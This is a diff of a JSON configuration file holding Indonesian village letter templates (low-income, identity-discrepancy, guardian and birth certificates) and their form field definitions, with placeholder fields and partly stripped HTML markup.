"syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut di atas adalah benar-benar warga [SeButan_desa] [NaMa_desa] yang saat ini Kartu Tanda Penduduk sedang dalam proses.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, + "form_isian": { + "individu": { + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ] + } + }, + "kode_isian": [], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Kurang Mampu", + "url_surat": "surat-keterangan-kurang-mampu", + "kode_surat": "S-11", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nID BDT<\/td>\r\n:<\/td>\r\n[Id_bdT]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nNo. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Bahwa yang tersebut namanya di atas, sepanjang pengetahuan dan penelitian kami hingga saat dikeluarkannya surat keterangan ini memang benar Keluarga yang KURANG MAMPU dan tidak memiliki pengahasilan tetap.

<\/p>\r\n

DAFTAR TANGGUNGAN KELUARGA
<\/strong><\/span><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
NO.<\/strong><\/span><\/td>\r\nNIK<\/strong><\/span><\/td>\r\nNAMA<\/strong><\/span><\/td>\r\nL \/ P<\/strong><\/span><\/td>\r\nTEMPAT TANGGAL LAHIR<\/strong><\/span><\/td>\r\nSHDK<\/strong><\/span><\/td>\r\n<\/tr>\r\n
[KLg1_no]<\/span><\/td>\r\n[KLg1_nik]<\/span><\/td>\r\n[KLg1_nama]<\/span><\/td>\r\n[KLg1_jenis_kelamin]<\/span><\/td>\r\n[KLg1_ttl]<\/span><\/td>\r\n[KLg1_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg2_no]<\/span><\/td>\r\n[KLg2_nik]<\/span><\/td>\r\n[KLg2_nama]<\/span><\/td>\r\n[KLg2_jenis_kelamin]<\/span><\/td>\r\n[KLg2_ttl]<\/span><\/td>\r\n[KLg2_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg3_no]<\/span><\/td>\r\n[KLg3_nik]<\/span><\/td>\r\n[KLg3_nama]<\/span><\/td>\r\n[KLg3_jenis_kelamin]<\/span><\/td>\r\n[KLg3_ttl]<\/span><\/td>\r\n[KLg3_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg4_no]<\/span><\/td>\r\n[KLg4_nik]<\/span><\/td>\r\n[KLg4_nama]<\/span><\/td>\r\n[KLg4_jenis_kelamin]<\/span><\/td>\r\n[KLg4_ttl]<\/span><\/td>\r\n[KLg4_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg5_no]<\/span><\/td>\r\n[KLg5_nik]<\/span><\/td>\r\n[KLg5_nama]<\/span><\/td>\r\n[KLg5_jenis_kelamin]<\/span><\/td>\r\n[KLg5_ttl]<\/span><\/td>\r\n[KLg5_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg6_no]<\/span><\/td>\r\n[KLg6_nik]<\/span><\/td>\r\n[KLg6_nama]<\/span><\/td>\r\n[KLg6_jenis_kelamin]<\/span><\/td>\r\n[KLg6_ttl]<\/span><\/td>\r\n[KLg6_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
[KLg7_no]<\/span><\/td>\r\n[KLg7_nik]<\/span><\/td>\r\n[KLg7_nama]<\/span><\/td>\r\n[KLg7_jenis_kelamin]<\/span><\/td>\r\n[KLg7_ttl]<\/span><\/td>\r\n[KLg7_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat Keterangan ini dibuat untuk keperluan : [Form_keperluaN]<\/strong><\/span><\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dapat dipergunakan sebagaimana mestinya.<\/p>\r\n

\u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_nama]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + "1" + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null + } + }, + "kode_isian": [ { - "tipe": "select-manual", - "kode": "[form_status_kk_bagi_yang_pindah]", - "nama": "Status KK Bagi Yang Pindah", - "deskripsi": "Pilih Status KK Bagi Yang Pindah", + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", "required": "1", "atribut": null, - "pilihan": [ - "NUMPANG KK", - "MEMBUAT KK BARU", - "NOMOR KK TETAP" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Beda Identitas", + "url_surat": "surat-keterangan-beda-identitas", + "kode_surat": "471.1", + "lampiran": "F-1.06", + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n

I. Identitas dalam KK<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3..<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Ii. Identitas dalam [Form_nama_kartu_identitaS]
<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nNo. Identitas<\/td>\r\n:<\/td>\r\n[Form_nomor_identitaS]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Form_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Form_tempat_lahiR], [Form_tanggal_lahiR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Form_jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Form_alamaT]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Form_agamA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Form_pekerjaaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n14.<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan merupakan orang yang sama namun terdapat perbedaan [Form_perbedaaN] seperti tersebut di atas. Adapun data yang benar dan dipakai seperti yang tercantum di Kartu Keluarga (KK).<\/p>\r\n

Demikian surat ini dibuat untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

\u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null }, + "identitas_kedua": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "6", + "9" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "judul": "Identitas Kedua", + "label": "Identitas Kedua", + "info": "", + "hubungan": "" + } + }, + "kode_isian": [ { + "kategori": "identitas_kedua", "tipe": "text", - "kode": "[form_negara_tujuan]", - "nama": "Negara Tujuan", - "deskripsi": "Negara Tujuan", + "kode": "[form_nama_kartu_identitas]", + "nama": "Nama Kartu Identitas", + "deskripsi": "Nama Kartu Identitas", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Negara Tujuan", + "kolom": "", + "label": "Nama Kartu Identitas", "kaitkan_kode": "" }, { + "kategori": "identitas_kedua", "tipe": "text", - "kode": "[form_kode_negara]", - "nama": "Kode Negara", - "deskripsi": "Kode Negara", + "kode": "[form_nomor_identitas]", + "nama": "Nomor Identitas", + "deskripsi": "Nomor Identitas", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Negara Tujuan", + "kolom": "", + "label": "Nomor Identitas", "kaitkan_kode": "" }, { + "kategori": "identitas_kedua", "tipe": "text", - "kode": "[form_alamat_tujuan_luar_negeri]", - "nama": "Alamat Tujuan Luar Negeri", - "deskripsi": "Alamat Tujuan (Luar Negeri)", + "kode": "[form_nama]", + "nama": "Nama", + "deskripsi": "Nama", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Alamat Tujuan (Luar Negeri)", + "label": "Nama", "kaitkan_kode": "" }, { + "kategori": "identitas_kedua", "tipe": "text", - "kode": "[form_penanggung_jawab]", - "nama": "Penanggung Jawab", - "deskripsi": "Penanggung Jawab", + "kode": "[form_tempat_lahir]", + "nama": "Tempat Lahir", + "deskripsi": "Tempat Lahir", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "9", + "label": "Tempat Tanggal Lahir", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_sponsor]", - "nama": "Nama Sponsor", - "deskripsi": "Nama Sponsor", + "kategori": "identitas_kedua", + "tipe": "date", + "kode": "[form_tanggal_lahir]", + "nama": "Tanggal Lahir", + "deskripsi": "Tanggal Lahir", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "3", + "label": "Tempat Tanggal Lahir", "kaitkan_kode": "" }, { - "tipe": "select-manual", - "kode": "[form_tipe_sponsor]", - "nama": "Tipe Sponsor", - "deskripsi": "Pilih Tipe Sponsor", - "required": "1", - "atribut": null, - "pilihan": [ - "ORGANISASI INTERNASIONAL", - "PERORANGAN", - "PEMERINTAH", - "TANPA SPONSOR", - "PERUSAHAAN" - ], - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_alamat_sponsor]", - "nama": "Alamat Sponsor", - "deskripsi": "Alamat Sponsor", + "kategori": "identitas_kedua", + "tipe": "select-otomatis", + "kode": "[form_jenis_kelamin]", + "nama": "Jenis Kelamin", + "deskripsi": "Pilih Jenis Kelamin", "required": "1", "atribut": null, "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", + "refrensi": "tweb_penduduk_sex", + "kolom": "6", + "label": "Jenis Kelamin", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nomor_itas]", - "nama": "Nomor ITAS", - "deskripsi": "Nomor ITAS & ITAP", + "kategori": "identitas_kedua", + "tipe": "select-otomatis", + "kode": "[form_agama]", + "nama": "Agama", + "deskripsi": "Pilih Agama", "required": "1", "atribut": null, "pilihan": null, - "refrensi": null, + "refrensi": "tweb_penduduk_agama", "kolom": "6", - "label": "Nomor dan Tanggal ITAS & ITAP", + "label": "Agama", "kaitkan_kode": "" }, { - "tipe": "date", - "kode": "[form_tanggal_itas]", - "nama": "Tanggal ITAS", - "deskripsi": "Tanggal ITAS & ITAP", + "kategori": "identitas_kedua", + "tipe": "select-otomatis", + "kode": "[form_pekerjaan]", + "nama": "Pekerjaan", + "deskripsi": "Pekerjaan", "required": "1", "atribut": null, "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Nomor dan Tanggal ITAS & ITAP", + "refrensi": "tweb_penduduk_pekerjaan", + "kolom": "6", + "label": "Pekerjaan", "kaitkan_kode": "" }, { - "tipe": "date", - "kode": "[form_tanggal_pindah]", - "nama": "Tanggal Pindah", - "deskripsi": "Tanggal Pindah", + "kategori": "identitas_kedua", + "tipe": "textarea", + "kode": "[form_alamat]", + "nama": "Alamat", + "deskripsi": "Alamat", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "", + "kolom": "", + "label": "Alamat", "kaitkan_kode": "" }, { - "tipe": "text", + "kategori": "identitas_kedua", + "tipe": "textarea", "kode": "[form_keterangan]", "nama": "Keterangan", "deskripsi": "Keterangan", @@ -565,20 +1055,21 @@ "pilihan": null, "refrensi": null, "kolom": "", - "label": "", + "label": "Keterangan", "kaitkan_kode": "" }, { + "kategori": "identitas_kedua", "tipe": "text", - "kode": "[form_jumlah_pengikut]", - "nama": "Jumlah Pengikut", - "deskripsi": "Jumlah Pengikut", + "kode": "[form_perbedaan]", + "nama": "Perbedaan", + "deskripsi": "Perbedaan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "", + "label": "Perbedaan", "kaitkan_kode": "" } ], @@ -592,166 +1083,78 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Kelahiran", - "url_surat": "surat-keterangan-kelahiran", - "kode_surat": "S-17", - "lampiran": "F-2.01", + "nama": "Keterangan Wali Hakim", + "url_surat": "surat-keterangan-wali-hakim", + "kode_surat": "S-32", + "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", "mandiri": false, "masa_berlaku": 1, "satuan_masa_berlaku": "M", - "qr_code": false, + "qr_code": true, "logo_garuda": false, "kecamatan": "0", - "syarat_surat": "[\"2\",\"3\"]", - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nHari<\/td>\r\n:<\/td>\r\n[Hari_kelahiraN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n[Tanggal_kelahiraN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nPukul<\/td>\r\n:<\/td>\r\n[Jam_kelahiraN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nTempat<\/td>\r\n:<\/td>\r\n[Tempat_dilahirkanN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nTelah lahir seorang anak<\/td>\r\n:<\/td>\r\n[NamA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Dari seorang ibu:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_ibU]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ibU]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Istri dari:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_ayaH]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n14.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n15.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ayaH]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n16.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n17.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n18.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n19.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n20.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n21.<\/td>\r\nHubungan pelapor dengan bayi<\/td>\r\n:<\/td>\r\n[Form_hubungan_pelapor_dengan_bayI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>\r\n
\u00a0<\/div>\r\n
\u00a0<\/div>\r\n
\u00a0<\/div>\r\n
\u00a0<\/div>\r\n
\u00a0<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Perihal :<\/td>\r\nPermohonan Penyelesaian<\/td>\r\n\u00a0<\/td>\r\nKepada<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAkta Kelahiran<\/td>\r\nYth,<\/strong><\/td>\r\nKepala Dinas Kependudukan dan Pencatatan<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nSipil [Sebutan_kabupateN] [Nama_kabupateN]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nDi [Nama_kabupateN]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
Yang bertanda tangan di bawah ini :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
NIK<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
Nama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/strong><\/td>\r\n<\/tr>\r\n
Tempat tanggal lahir \/ umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_pelapoR] \/ [Usia_pelapoR]<\/td>\r\n<\/tr>\r\n
Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
Alamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
Mohon dicatatkan kelahiran dalam register Akta Kelahiran dan diterbitkan kutipan Akta Kelahiran :<\/strong><\/div>\r\n<\/colgroup>\r\n\r\n\r\n\r\n
No<\/strong><\/td>\r\nNama \/ Jenis Kelamin<\/strong><\/td>\r\nTempat Lahir<\/strong><\/td>\r\nTanggal Lahir<\/strong><\/td>\r\nAnak Ke<\/strong><\/td>\r\nNo dan Tanggal Pendaftaran<\/strong><\/td>\r\n<\/tr>\r\n
1.<\/td>\r\n[NamA] <\/strong>\/ [Jenis_kelamiN]<\/td>\r\n[Tempat_dilahirkanN]<\/td>\r\n[Tanggal_kelahiraN]<\/td>\r\n[Kelahiran_anaK]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Dari seorang ibu :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
Nama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_ibU]<\/strong><\/td>\r\n<\/tr>\r\n
NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
